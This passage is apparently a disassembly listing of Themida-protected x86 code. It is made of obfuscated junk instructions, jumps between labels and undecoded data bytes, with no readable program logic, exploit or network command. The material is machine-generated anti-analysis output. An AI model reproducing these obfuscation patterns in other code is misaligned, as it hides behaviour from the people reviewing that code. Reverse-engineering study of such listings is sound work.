; ---------------------------------------------------------------------------
		dw 6F05h
aOBD9s7s	db ')o"êd9á7éËÍ',0
		align 2
		dw 0F766h
		dd 8B662414h, 89502434h, 0E78957E0h, 4C781h, 0B8500000h
		dd 4, 0E958C729h, 9DDFh
; ---------------------------------------------------------------------------

loc_55A560:				; CODE XREF: Themida_:005597E5j
		push	eax
		mov	eax, 35CE587Fh
		inc	eax
		xor	eax, 1C141BF6h
		xor	eax, 3383069Dh
		sub	eax, 0DC0EFE93h
		jmp	loc_5653F6
; ---------------------------------------------------------------------------
		db 8Bh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F131
; ---------------------------------------------------------------------------

loc_55A592:				; CODE XREF: Themida_:0055B848j
		add	ebp, 4
		push	ebp
		jmp	loc_567C70
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 2DB8BE56h, 0EE8144BFh
		dd 655478BEh, 67BCE81h,	0C68168C0h, 154F740Ah, 2E05C581h
		dd 0F5011C3Ch, 788DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55A5D5:				; CODE XREF: Themida_:0056DAF8j
		xor	edx, 4E3A2524h
		jmp	loc_55FE2A
; ---------------------------------------------------------------------------
		dd 0A5E9028Fh, 0F7FFFFE2h, 0F7DE87DEh, 81DE87D3h, 2020B0EEh
		dd 9F6815Fh, 8130F04Ch,	3764FFEEh, 59A2E9CCh, 4810000h
		dd 424h, 0BD555E00h, 160A58B4h,	8108EDC1h, 1A2D39F5h, 7EDC17Eh
		dd 8103E5C1h, 0E0C26CEDh, 5DEE0107h, 2B850h, 0C6010000h
		dd 0E3895358h, 4C381h, 0EB830000h, 241C8704h, 2434895Ch
		dd 42474FFh, 5E2434FFh,	0E904EC83h, 9BBCh, 3E4CE95Dh, 0F3800000h
		dd 8BD800BEh, 0C483241Ch, 0BBB65204h, 595AF000h, 2B3D68h
		dd 24148900h, 572068h, 0CB3AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A682:				; CODE XREF: Themida_:0056394Bj
		xor	edi, 5C726D3Dh
		mov	ecx, edi
		pop	edi
		sub	ecx, ebx
		xchg	ecx, ebx
		jmp	loc_56B1CA
; ---------------------------------------------------------------------------
		dd 592434FFh, 8E53E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A69D:				; CODE XREF: Themida_:005605EEj
		pop	eax
		push	ebp
		push	edx
		jmp	loc_55FFE0
; ---------------------------------------------------------------------------

loc_55A6A5:				; CODE XREF: Themida_:00559B95j
		mov	bh, 0B7h
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 7Ah
		inc	ch
		jmp	loc_569BF5
; ---------------------------------------------------------------------------
		db 88h
		dd 241C8BDCh, 4C481h, 665A0000h, 0F6E58851h, 0EA8852D5h
		dd 0E95AD488h, 10DAAh, 4547BA52h, 0CA8158A2h, 139B25DAh
		dd 1AD7E9h, 0BB535200h,	19630DA2h, 88627FBAh, 4EA8163h
		dd 810AE43Dh, 474686EAh, 81DA293Dh, 474686C2h, 78BD553Dh
		dd 0C151E60Dh, 0BF5706E5h, 1B6E312Ch, 0D3ABC781h, 4FE90D06h
		dd 8100007Ah, 0FF1BB8EAh, 6992E926h, 0B9510000h, 2, 448468h
		dd 24148900h, 16E9CA89h, 6800009Eh, 13ECh, 0BB241C89h
		dd 17517956h, 33CB8143h, 0E975B87Bh, 68F4h, 6FE168h, 243C8900h
		dd 0BD555F54h, 131363A6h, 239FED81h, 0BAE93A51h, 810000FBh
		dd 283C8CC2h, 21EA8102h, 0E96AC84Ch, 1267h, 240C8B66h
		dd 0D66BE9h, 24E95800h,	68FFFFFFh, 592Bh, 0E9241489h, 0F4Eh
		dd 4B2DD829h, 530EDF7Ah, 0CB5178BBh, 18B8E975h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55A7B2:				; CODE XREF: Themida_:0055A282j
		shl	edi, 7
		push	edx
		mov	edx, 35006AFDh
		and	edi, edx
		pop	edx
		xor	edi, 104D67F4h
		or	edi, 76FD3F45h
		xor	edi, 3A064EA6h
		xor	[esp+4], edi
		pop	edi
		pop	eax
		push	ebx
		mov	ebx, 45487225h
		xchg	edx, ebx
		dec	edx
		xchg	edx, ebx
		add	ebx, 1
		push	ecx
		mov	ecx, 7C5A42DCh
		push	3F99h
		mov	[esp], edx
		mov	edx, 617656C4h
		dec	edx
		and	edx, 0B1A6950h
		jmp	loc_56ACAC
; ---------------------------------------------------------------------------
		db 52h
		dd 0EB4A5D68h, 0E2815A50h, 4D5E6D0Fh, 3B1EF281h, 0D2F748B8h
		dd 2CA3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A81D:				; CODE XREF: Themida_:0055A26Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56950A
; ---------------------------------------------------------------------------

loc_55A857:				; CODE XREF: Themida_:0056C322j
		pop	edi
		push	ecx
		mov	ecx, 5D1451F7h
		push	0C84h
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		inc	ecx
		or	ecx, 271E2885h
		jmp	loc_56CE4E
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 5B2414F7h, 3C2468h, 1DD7E900h, 48B0000h, 0EDBE924h
		dd 0EBC00001h, 174FE902h, 1C890001h, 0FDDCE924h, 0C5810000h
		dd 9014CDEh, 24E9D5F7h,	810000C7h, 9C04246Ch, 0FF3D6E3Fh
		dd 87E92434h, 59000084h, 4EC8159h, 89000000h, 0BB532434h
		dd 0F8F65291h, 295BDE89h, 6CE95EF5h, 81000047h,	1969ACC2h
		dd 0E338E950h, 48FFFFFh, 31665C24h, 0E99C2404h,	0FFFFDF9Ch
		dd 0BE56D701h, 0B167B27h, 1B1CE953h, 34FF0001h,	5F18E924h
		dd 0F8290000h, 125B6E9h, 0E9565300h, 0C39Dh, 15FFB29h
		dd 0BEBA52C3h, 10EFE1Bh, 0B9515AD3h, 531209F5h,	226AE981h
		dd 29E93344h, 5E0000F2h, 6066846h, 4890000h, 0DB75E924h
		dd 64BD0000h, 81189152h, 0EBD84CC5h, 6872E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A952:				; CODE XREF: Themida_:00562476j
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55D03F
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 7Bh
		dd 56379C38h, 59E3BB53h, 0DE8947A1h, 5EF7015Bh,	1E8CE95Dh
		dd 0ED830001h, 242C8704h, 9324E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A999:				; CODE XREF: Themida_:00558D52j
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 0EA814A2h
		mov	ecx, ebp
		pop	ebp
		xor	esi, ecx
		jmp	loc_56413A
; ---------------------------------------------------------------------------

loc_55A9AD:				; CODE XREF: Themida_:005636E1j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_569641
; ---------------------------------------------------------------------------

loc_55A9BB:				; CODE XREF: Themida_:0056CEBEj
		pop	eax
		jmp	loc_55ADF6
; ---------------------------------------------------------------------------

loc_55A9C1:				; CODE XREF: Themida_:0056331Bj
		shr	edi, 4
		push	15C3h
		mov	[esp], edi
		not	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_563F1F
; ---------------------------------------------------------------------------

loc_55A9D7:				; CODE XREF: Themida_:00569118j
		push	ebp
		mov	ebp, 7474419Bh
		add	ebx, ebp
		pop	ebp
		jmp	loc_55F76C
; ---------------------------------------------------------------------------

loc_55A9E5:				; CODE XREF: Themida_:0055A27Bj
		mov	eax, 261070EDh
		mov	ebp, eax
		jmp	loc_55BF9C
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0DBh
		dd 87141171h, 87D5F7E9h, 0EDBBE9E9h, 0E9800000h, 8BC82826h
		dd 0C483240Ch, 24148B04h, 0A153E9h, 8CEE8100h, 128F51Ah
		dd 6295E9CEh, 17BE0000h, 8100032Dh, 474397EEh, 3563E933h
		dd 15B0000h, 34335BDEh,	24343124h, 5C243433h, 59A9E9h
		dd 5056600h, 665D6656h,	66429968h, 51243489h, 3DE0E956h
		dd 3C8B0000h, 44685524h, 89000018h, 4832424h, 815D0424h
		dd 4C5h, 0EF27E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AA76:				; CODE XREF: Themida_:00559DB1j
		add	esp, 4
		jmp	loc_55C14B
; ---------------------------------------------------------------------------

loc_55AA81:				; CODE XREF: Themida_:0055D496j
		xor	edx, edi
		pop	edi
		xor	edx, 16C50F0Fh
		jmp	loc_56171F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0A66800h, 0C890000h, 0C8B5424h, 4C48124h, 81000000h
		dd 4C1h, 4E98100h, 0E9000000h, 7E66h, 52BEB551h, 0F8E964B6h
		dd 10000B5h, 3C1EE9CFh,	665A0000h, 8324048Bh, 885002C4h
		dd 505E9DCh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AADA:				; CODE XREF: Themida_:00558D40j
		mov	esi, 0A6B99C58h
		sub	edi, esi
		pop	esi
		xor	eax, edi
		pop	edi
		add	ebx, 184D345Ah
		sub	ebx, 6D1A2CD2h
		sub	ebx, 3C4962B3h
		add	ebx, eax
		push	ebp
		mov	ebp, 0D853FF6h
		xor	ebp, 13A94252h
		and	ebp, 75DD65CEh
		add	ebp, 283CFD2Fh
		add	ebx, ebp
		pop	ebp
		add	ebx, 6D1A2CD2h
		sub	ebx, 184D345Ah
		jmp	loc_564860
; ---------------------------------------------------------------------------

loc_55AB25:				; CODE XREF: Themida_:00563722j
		or	al, cl
		pop	ecx
		shl	al, 4
		jmp	loc_565758
; ---------------------------------------------------------------------------

loc_55AB30:				; CODE XREF: Themida_:005621ADj
		push	dword ptr [esp]
		jmp	loc_56D821
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 30561B8Fh, 0FFE2B6E9h, 8BC301FFh, 0C4832404h
		dd 19B7E904h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55AB52:				; CODE XREF: Themida_:00564E89j
		sub	edi, 2BFA1423h
		jmp	loc_55DF4A
; ---------------------------------------------------------------------------

loc_55AB5D:				; CODE XREF: Themida_:0056D072j
		and	edx, 32F70C19h
		xor	edx, 653F4C40h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 0FFFFFFFFh
		or	esi, 5E146496h
		xor	esi, 5F1F64DCh
		jmp	loc_568DDF
; ---------------------------------------------------------------------------
		db 89h
		dd 4682404h, 58000000h,	3181BD55h, 0EF2949D2h, 9C6CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55ABA1:				; CODE XREF: Themida_:0055BBF5j
		push	2A0A529Dh
		pop	ecx
		push	58AFh
		mov	[esp], ebp
		jmp	loc_55B0CC
; ---------------------------------------------------------------------------

loc_55ABB4:				; CODE XREF: Themida_:0055F856j
		shr	ebp, 8
		shl	ebp, 5
		xor	ebp, 10FCA894h
		jmp	loc_55C3FD
; ---------------------------------------------------------------------------

loc_55ABC5:				; CODE XREF: Themida_:0056DE95j
		push	dword ptr [edi+eax*4]
		push	7502h
		mov	[esp], edx
		jmp	loc_5663F3
; ---------------------------------------------------------------------------

loc_55ABD5:				; CODE XREF: Themida_:005698F7j
		pop	ebp
		mov	edx, edi
		pop	edi
		add	[esp+4], edx
		push	dword ptr [esp]
		jmp	loc_558A8F
; ---------------------------------------------------------------------------

loc_55ABE5:				; CODE XREF: Themida_:00569685j
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_559686
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0DCh
		dd 8118AC08h, 0AF0E25E1h, 5202E96Dh, 0DE290000h, 3E6C15Bh
		dd 0B8E9EED1h, 57000107h, 11DEAE9h, 3C8B5800h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 59F868h, 241C8900h, 118E2E9h
		dd 81E28900h, 4C2h, 0E5DAE900h,	0C1660000h, 816602EAh
		dd 66AB00EAh, 89E9D629h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55AC57:				; CODE XREF: Themida_:0056A316j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55CBF7
; ---------------------------------------------------------------------------

loc_55AC65:				; CODE XREF: Themida_:0055B116j
		push	3735h
		mov	[esp], eax
		jmp	loc_559CC3
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 0BE56DFh, 29000000h,	0E9F787FEh, 0D091h, 241C8966h
		dd 0E92DB050h, 0D3CAh, 55B7BB53h, 0EBC15D9Eh, 0AAF38107h
		dd 100BB3Ch, 0D1F75BD9h, 1D9AE9h, 241C8700h, 3124248Bh
		dd 240C8BC8h, 0E904C483h, 10AF4h, 0E9242C89h, 6A3Eh, 31241C33h
		dd 1C33241Ch, 24248B24h, 5FA2E9h, 0EEEF8100h, 140D13Fh
		dd 0EEC781F7h, 8140D13Fh, 3660CAC7h, 24348B79h,	4C481h
		dd 0C7830000h, 243C3302h, 33243C31h, 248B243Ch,	0C8856624h
		dd 0DB82E99Ch, 0EF01FFFFh, 0E9242C8Bh, 0FFFFEB61h, 4FDFF747h
		dd 9E95C781h, 34E9C87Bh, 0AD000121h, 46274605h,	0F5F2D63h
		dd 0D8011DE4h, 2FB16855h, 0C890000h, 504B6824h,	0C8B3651h
		dd 0C5E95324h, 5B0000B6h, 1AE7C781h, 0E955731Ch, 68D3h
		dd 55E68956h, 0A5AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55AD5D:				; CODE XREF: Themida_:0055CB73j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 1CC853B3h
		not	ecx
		jmp	loc_56BB99
; ---------------------------------------------------------------------------

loc_55AD74:				; CODE XREF: Themida_:00563EABj
		pop	dword ptr [esp]
		jmp	loc_56D4FD
; ---------------------------------------------------------------------------

loc_55AD7C:				; CODE XREF: Themida_:005699E5j
		mov	esp, [esp]
		push	1CADh
		mov	[esp], edx
		push	ecx
		mov	ch, 9Ch
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, ch
		mov	bh, ah
		pop	eax
		push	eax
		jmp	loc_558C3D
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h,	187E6824h
		dd 24890000h, 4BB5324h,	1000000h, 5B04245Ch, 5A2434FFh
		dd 5004C483h, 1BE9E089h, 1000011h, 243C8BF8h, 4C481h, 15E90000h
		dd 0B4000080h, 0FADAE990h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55ADEE:				; CODE XREF: Themida_:00563FD5j
		sub	esp, 4
		jmp	loc_55D7AA
; ---------------------------------------------------------------------------

loc_55ADF6:				; CODE XREF: Themida_:0055A9BCj
		sub	ecx, 50204804h
		add	eax, ecx
		pop	ecx
		jmp	loc_563AF8
; ---------------------------------------------------------------------------

loc_55AE04:				; CODE XREF: Themida_:0055BF47j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	al, dh
		pop	dx
		push	edx
		mov	dl, 0BDh
		shl	dl, 2
		sub	esp, 4
		mov	[esp], edx
		not	byte ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55B85B
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 26962B66h, 0E92434FFh, 17C0h, 42474FFh, 24048F5Eh, 2404315Ch
		dd 0DA3AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AE52:				; CODE XREF: Themida_:00562B27j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56D5AD
; ---------------------------------------------------------------------------

loc_55AE76:				; CODE XREF: Themida_:00561670j
		mov	edx, edi
		jmp	loc_563030
; ---------------------------------------------------------------------------
		db 5Ah,	0, 0C8h
		dd 4EC8359h, 510E9h, 4BE00h, 44810000h,	4F530424h, 7DE966FFh
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------

loc_55AE9B:				; CODE XREF: Themida_:00569C9Cj
		add	edi, esi
		jmp	loc_567510
; ---------------------------------------------------------------------------

loc_55AEA2:				; CODE XREF: Themida_:00559FB7j
		add	eax, 4
		push	36B0h
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5699F4
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2Ch,	127D5E9h, 50B6800h, 0C890000h, 26F9B924h, 41E9011Ah
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AED7:				; CODE XREF: Themida_:005679FCj
		pop	eax
		shl	ecx, 4
		push	eax
		jmp	loc_565AB2
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FFD9A3E9h, 8C0559FFh, 5010368h, 6A7C6D0Fh, 0F2DC801h
		dd 576A7C6Dh, 321907BFh, 0CB76E908h, 0C8B0000h,	16E3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AF0E:				; CODE XREF: Themida_:005638A7j
		push	eax
		jmp	loc_55A3C8
; ---------------------------------------------------------------------------
		dd 0F016F7BEh, 8FBE93Ah, 4B90000h, 1000000h, 0BF5759CBh
		dd 4, 3B50EB81h, 31E9066Eh
		db 25h,	1, 0
; ---------------------------------------------------------------------------

loc_55AF37:				; CODE XREF: Themida_:00559796j
		push	edx
		jmp	loc_567134
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 81h
		dd 0F26FA9EBh, 7E3C1F6h, 0FAFCEB81h, 1EE93CA7h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AF53:				; CODE XREF: Themida_:005689CDj
		pop	ebp
		add	ebx, 1B48095Ah
		add	ebx, edi
		jmp	loc_56C479
; ---------------------------------------------------------------------------

loc_55AF61:				; CODE XREF: Themida_:00559129j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5605EA
; ---------------------------------------------------------------------------
		dd 3C8BFD01h, 4C48324h,	9AFDE9h, 5FFA0100h, 2D5AD089h
		dd 0F9DA12B9h, 0E958C309h, 0D64Dh, 6004C681h, 15F39F6h
		dd 0E9535EF0h, 7596h, 4EC81h, 0C890000h, 1CB7B924h, 0B9BA0A08h
		dd 290A081Ch, 67E959CAh, 5BFFFFDFh, 0E904C483h,	0FFFFD8C8h
; ---------------------------------------------------------------------------

loc_55AFC4:				; CODE XREF: Themida_:0056D3D9j
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_55CD3A
; ---------------------------------------------------------------------------
		dd 0FF3C77FFh, 34FF2434h, 84E95824h, 88000071h,	0E09DE9E2h
		dd 0D5F70000h, 0AE95753h, 89FFFFE9h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 17E9515Ch, 8BFFFFFFh, 0D1E9241Ch, 80000129h
		dd 0D828B6C3h, 83241C8Bh, 0E80004C4h, 0C8BB804h, 4C48124h
		dd 68000000h, 536Ah, 51241489h,	0F180DFB1h, 89F6E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B03A:				; CODE XREF: Themida_:00559A4Fj
		pop	edi
		xor	esi, 333D1A84h
		push	esi
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, 417900FDh
		xor	ecx, ebx
		pop	ebx
		and	ecx, 53631F66h
		push	edi
		push	edx
		push	23306BE3h
		jmp	loc_56999E
; ---------------------------------------------------------------------------
		db 30h
		dd 2434FFE2h, 0E344E958h, 48BFFFFh, 4C48324h, 0EB80C300h
		dd 6CC38043h, 0C8E95066h, 58000090h, 0B085E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B089:				; CODE XREF: Themida_:00560C72j
		xor	ebx, 0C69BB026h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55EFB7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFF9F2E9h, 0E9D029FFh, 3E33h, 0EB0850B5h, 240C8B66h
		dd 2C481h, 0C3800000h, 0E9DD2053h, 0CD1Ah, 0E7D1E7D1h
		dd 40E6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B0C5:				; CODE XREF: Themida_:0056C574j
		not	bh
		jmp	loc_5698B0
; ---------------------------------------------------------------------------

loc_55B0CC:				; CODE XREF: Themida_:0055ABAFj
		mov	ebp, 15BE62BFh
		add	ebp, 1BE3BCB9h
		push	eax
		jmp	loc_56AFFC
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 0E904EE83h, 107DBh
; ---------------------------------------------------------------------------

loc_55B0E8:				; CODE XREF: Themida_:005647B9j
		pop	ebx
		push	edx
		mov	edx, 4
		sub	ebx, 6B14EB5h
		sub	ebx, 0C70231Bh
		add	ebx, edx
		add	ebx, 0C70231Bh
		jmp	loc_5601BA
; ---------------------------------------------------------------------------

loc_55B108:				; CODE XREF: Themida_:00563D9Fj
		and	edx, 40322E9Ah
		jmp	loc_55F9D6
; ---------------------------------------------------------------------------

loc_55B113:				; CODE XREF: Themida_:00567F21j
		pop	eax
		push	eax
		push	ecx
		jmp	loc_55AC65
; ---------------------------------------------------------------------------
		db 81h
		dd 0B2672EF6h, 4EC8114h, 0E9000000h, 1ABFh, 84C1E95Ah
		dd 0C4830000h, 0D752E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B13A:				; CODE XREF: Themida_:0056D2F5j
		mov	eax, ecx
		pop	ecx
		push	ecx
		push	eax
		mov	eax, 5C19598Dh
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 761D65FCh
		push	ebx
		dec	dword ptr [esp]
		jmp	loc_562BBC
; ---------------------------------------------------------------------------
		db 0FFh
a4Xqs		db '4$XQé~ê',0
		db 0
; ---------------------------------------------------------------------------

loc_55B165:				; CODE XREF: Themida_:00565E2Fj
		mov	eax, [esp]
		jmp	loc_55B314
; ---------------------------------------------------------------------------

loc_55B16D:				; CODE XREF: Themida_:0056D777j
		push	esi
		mov	esi, 4C5E5DD6h
		neg	esi
		xor	esi, 0B37CB060h
		or	eax, esi
		pop	esi
		push	eax
		not	dword ptr [esp]
		add	dword ptr [esp], 1
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 0CC7FB2CDh
		push	esi
		push	2B993653h
		pop	esi
		sub	eax, 10F757F4h
		add	eax, esi
		push	2CD2h
		mov	[esp], ebp
		jmp	loc_56AB10
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C58102EDh, 4811A917h, 16E95450h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55B1BF:				; CODE XREF: Themida_:0056197Bj
		shl	ebx, 1
		xor	ebx, 0B3D5ADBh
		push	4Bh
		mov	[esp], edx
		mov	edx, 9874FC1h
		shr	edx, 3
		jmp	loc_558D7B
; ---------------------------------------------------------------------------

loc_55B1DC:				; CODE XREF: Themida_:0055F017j
		push	edi
		push	eax
		mov	eax, 11F90CF2h
		jmp	loc_568503
; ---------------------------------------------------------------------------
		dd 4B8h, 21B85000h, 16AC84Ch, 24048BC2h, 604E9h, 2474FF00h
		dd 48F5804h, 1DCDE924h,	0BA520000h, 32DF20E5h, 71EFBF57h
		dd 0FA3101B7h, 81DAF75Fh, 83488AE2h, 0E0A9E961h, 0ED81FFFFh
		dd 0ABE40587h, 49AE9h, 0AAC38100h, 0FF198701h, 835A2434h
		dd 0CCE904C4h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B243:				; CODE XREF: Themida_:0055EEB1j
		mov	esi, [esp]
		add	esp, 4
		add	ebp, eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 199D290Eh
		jmp	loc_562CA9
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 1476CA6h, 68B6CB81h,	0EBC164DAh, 3FC38104h, 0E9B7AAC6h
		dd 0C478h, 54241489h, 8124148Bh, 4C4h, 4B95100h, 1000000h
		dd 240C8BCAh, 10038E9h,	81E5D100h, 5E8B97C5h, 5DEF8904h
		dd 815EF729h, 4625F9C3h, 81FB0127h, 4625F9EBh, 5B685F27h
		dd 0E9000077h, 5EBBh, 895653ACh, 33BE9E6h, 34890001h, 0C0E95524h
		dd 0FE0000A9h, 20BEE9C1h, 1C8B0000h, 4C48124h, 56000000h
		dd 319EBD55h, 2EE94ACBh, 10000C5h, 240C8BCAh, 3304C483h
		dd 14312414h, 24143324h, 4047E9h, 0E0895000h, 405h, 4C08300h
		dd 0E9240487h, 7EF7h
; ---------------------------------------------------------------------------

loc_55B314:				; CODE XREF: Themida_:0055B168j
		add	esp, 4
		jmp	loc_55FB47
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 243C8B00h, 1819E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B331:				; CODE XREF: Themida_:0056C815j
		pop	ebx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		and	al, dl
		pop	edx
		jmp	loc_55C1D8
; ---------------------------------------------------------------------------

loc_55B344:				; CODE XREF: Themida_:0055D375j
		add	edi, edx
		sub	edi, 31C7595Bh
		push	edx
		push	edi
		mov	edi, 0EFB308Eh
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 49A634F8h
		push	ecx
		mov	ecx, 75932BDBh
		xor	edx, ecx
		pop	ecx
		and	edx, 14D36A0Ah
		sub	edx, 1
		sub	edx, 0A447261Dh
		sub	edi, edx
		pop	edx
		jmp	loc_55EF4D
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1058669Dh, 0E99C2404h, 0FFFFD4FCh, 5C24048Fh, 8541E9h
		dd 240C8900h, 5BE95053h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B3A3:				; CODE XREF: Themida_:00559F64j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	ecx
		jmp	loc_56858C
; ---------------------------------------------------------------------------

loc_55B3C0:				; CODE XREF: Themida_:00563481j
		add	ebx, 52980CEDh
		sub	ebx, esi
		sub	ebx, 52980CEDh
		add	ebx, 47D83C35h
		pop	esi
		push	ebx
		jmp	loc_55978C
; ---------------------------------------------------------------------------
		db 68h
		dd 0AD1h, 68241C89h, 1262h, 54240489h, 0DBDEE958h, 0C7810000h
		dd 27EA4FC9h, 8904EC83h, 68E92434h, 660000BAh, 57240C8Bh
		dd 0E952E789h, 0A02Ah, 0A0E9FB01h, 57000088h, 0C792E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B41D:				; CODE XREF: Themida_:005653D6j
		push	eax
		mov	eax, 111D3D45h
		add	edi, eax
		pop	eax
		add	ecx, edi
		pop	edi
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_56ADAA
; ---------------------------------------------------------------------------
		dd 4BD55h, 0E9010000h, 6869E9h,	0C1D8F700h, 75E902E8h
		dd 5D0000D0h, 51C2F681h, 5CE9580Dh
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B463:				; CODE XREF: Themida_:00563C0Cj
		add	dh, 57h
		jmp	loc_56743D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 2C8B2434h, 4C48124h,	83000000h, 0C00904C4h, 78D4840Fh
		dd 0E6680000h, 8900001Eh, 35682414h, 8900005Ch,	0F3E9242Ch
		dd 5D0000E1h, 2BE56h, 0F2290000h, 3EF4685Eh, 0A3E90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B4AB:				; CODE XREF: Themida_:0056529Ej
		pop	eax
		pop	ecx
		jmp	loc_55F209
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 3E995100h, 0E95FF809h, 0B462h, 68240489h, 0B5D69D2h
		dd 20E7E958h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55B4CE:				; CODE XREF: Themida_:0056A9D8j
		pop	eax
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_561DBB
; ---------------------------------------------------------------------------
		db 1, 0EEh, 5Dh
		dd 0D261E9h, 0C3285800h, 518CEB80h, 351A68h, 0DC90E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B4FE:				; CODE XREF: Themida_:0055B578j
		mov	[esp], esi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_565CF0
; ---------------------------------------------------------------------------
		dd 145FE1BBh, 5BDE8930h, 35E9F229h, 8FFFFFECh, 64E92404h
		dd 8100007Ch, 4C4h, 6F55E900h, 0F7680000h, 89000073h, 0BB532404h
		dd 17633332h, 0B30DE9h,	59CF0100h, 0EF81EF29h, 7D7826ADh
		dd 63D7C781h, 55D4ACBh,	22AE5864h, 0C576E9h, 24148900h
		dd 0C281E289h, 4, 974AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B571:				; CODE XREF: Themida_:00561E97j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
